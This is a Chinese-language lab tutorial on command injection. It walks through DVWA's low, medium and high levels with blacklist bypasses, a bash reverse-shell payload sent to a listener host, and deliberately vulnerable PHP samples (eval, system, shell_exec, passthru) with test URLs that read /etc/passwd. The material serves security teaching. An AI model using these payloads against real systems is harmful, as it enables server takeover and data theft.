命令注入漏洞

1.1 漏洞信息

1.1.1 漏洞成因

应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令。 拼接到正常命令中,从而造成命令注入攻击,这就是命令注入漏洞。

1.1.2 利用条件

1.应用调用执行系统命令的函数 2.将用户输入作为系统命令的参数拼接到了命令行中 3.没有对用户输入进行过滤或过滤不严

1.1.3 漏洞分类

1.代码层过滤不严 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用: system("/bin/program --arg $arg"); 2.系统的漏洞造成命令注入 bash破壳漏洞(CVE-2014-6271) (请自行百度) 3.调用的第三方组件存在代码执行漏洞 如WordPress中用来处理图片的ImageMagick组件 (请自行百度) JAVA中的命令注入漏洞(struts2/ElasticsearchGroovy等) (请自行百度) ThinkPHP命令注入 (请自行百度)

1.1.4 漏洞危害

继承Web服务程序的权限去执行系统命令或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗

1.1.5 漏洞复现

低级

打开浏览器,在地址栏输入dvwa IP地址,输入默认账号帐号 admin 密码 password 将安全级别设为low,点击submit提交。再进入Command Injection(命令注入漏洞实验界面)。

image-20220409153832972

先让我们对命令注入漏洞进行一个初步利用 让我们先执行一段命令,在输入框输入www.baidu.com,点击submit提交

image-20220409153858171

可以看到成功回显执行结果,说明ping www.baidu.com命令成功。 让我们随机输入字符,这里我们就输入abc

image-20220409153919892

从回显结果中我们可以看出,在假定用户正确输入的情况下,输入的只能是ip地址,将ip地址与ping命令拼接上,从而完成ping ip的命令,abc因为错误的格式,无法回显,即无法执行。

我们再输入框输入www.baidu.com&ifconfig,点击submit提交,可以看到不仅ping命令成功执行,并且后面的ifconfig命令也成功执行。(ifconfiglinux中用于显示或配置网络设备(网络接口卡)的命令,英文全称是network interfaces configuring。)

image-20220409154025550

鼠标右键查看源文件,查看low环境下,命令注入漏洞的代码

image-20220409154043598

low环境下产生命令注入漏洞处的代码,其中实验的关键代码: \$target= $_REQUEST[ 'ip' ];

这条语句就是直接把用户输入的IP赋值给$target,没有做任何过滤,如果是用户正常输入IP那么正常执行,如果用户输入的不是IP?这里就涉及业务逻辑了,漏洞的产生就是源于程序员对于此处用户输入的信任。以至于对入用户输入没有进行任何的过滤,为命令注入攻击发生提供了条件。

​ 接下来有一个if语句,判断条件是“stristr(php_uname('s'),'Windows NT')”,这是用来判断当前的系统是否是Windows,因为WindowsLinux下的ping命令注入参数是不同的。 再下面是将函数“shell_exec( 'ping ' . \$target )”的值赋值给变量\$cmd,并输出\$cmd的值,其实也就是在执行`shell_exec('ping ' . \$target )”函数,因而shell_exec()函数就是这里的核心了。 shell_exec()函数的作用就是可以在PHP中去执行[操作系统命令,因而如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell,因而命令包含漏洞的威力相比SQL注入要大多了。

中级

登录DVWA,设置安全环境为medium。进入Command Injection(命令注入漏洞实验界面)。(如若已登录,则可略去登陆步骤,直接设置安全环境)

image-20220409154347245

从代码中可以看出,现运用数组的方式建立了一个黑名单

$substitutions = array('&&' => '' , ';' => '',);

这行语句的意思是定义了一个数组并赋值给变量$substitutions,数组中包括2个键:&&;,它们对应的值都是NULL。

\$target =str_replace( array_keys( \$substitutions ), \$substitutions, `$target );

这行语句是用str_replace函数对\$target变量中的字符进行替换,替换的方法是将array_keys( \$substitutions )替换成$substitutions,也就是将&&;都替换成空值。

输入www.baidu.com|ifconfig

image-20220409154532259

可以看到两个命令回显,成功绕过。

高级

high环境代码分析 登录DVWA,设置安全环境为high。进入Command Injection(命令注入漏洞实验界面)。(如若已登录,则可略去登陆步骤,直接设置安全环境) 鼠标右键查看源文件,查看high环境下,命令注入漏洞的代码

high环境相对于medium环境并没有多大改变,只是将黑名单数组array进行了扩充,相比medium增加了不少,这里就不过多赘述,请自行比较。细心观察我可以发现黑名单中'| '|后多了个空格。这样我们仍然可以用|绕过。 从回显结果可以看到成功绕过。

image-20220409154645420

1.2 反弹shell

kali上使用nc监听端口 nc -lvnp 5555dvwa web页面输入攻击payload : 127.0.0.1|bash -i >& /dev/tcp/172.16.1.2/5555 0>&1

image-20220409154832371

kali终端获得shell

image-20220409154900792

可以查看web源码及配置文件

image-20220409154917584

1.3 命令注入常见函数

1.3.1 eval()函数造成的命令注入漏洞

1、函数用法
eval(phpcode)
Phpcode 规定要计算的php代码。通常用分号结束每句代码的执行。
2、环境源码:

<?php
$var = "var";
if(isset($_GET["name"])){
    $arg = $_GET["name"];
    eval("\$var=$arg;");
    echo "\$var = ".$var;
}

?>
构造语句:

name=phpinfo()

测试效果: http://172.16.3.186/eval.php?name=phpinfo()

image-20220409155010415

1.3.2 system()函数造成的漏洞


1、函数用法:
System(string command,int &return_var)
Command 要执行的命令
Return_var 存放命令的执行后的状态值
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
    echo system("dir".$cmd);
}
?>
构造语句:
Cmd=| /etc/passwd

测试:http://172.16.3.186/system.php?cmd=|cat%20%20/etc/passwd

image-20220409155040613

1.3.3 shell_exec()函数造成的漏洞

1、函数用法:
shell_exec(string command)
command 要执行的命令
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
    echo "<h3>";
    echo shell_exec("dir".$cmd);
    echo "<h3>";
}
?>
4、 测试:
构造语句: | whoami

测试:http://172.16.3.186/shell_exec.php?cmd=|whoami

image-20220409155112849

1.3.4 passthru()函数造成的漏洞


1、函数用法:
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){

    echo passthru($cmd);
}
?>
3、测试
构造语句 cmd=whoami

http://172.16.3.186/passthru.php?cmd=whoami

image-20220409155153621

Copyright © fsec.io 2022 all right reserved,powered by farmsec该文件修订时间: 2022-09-02 18:15:55

results matching ""

    No results matching ""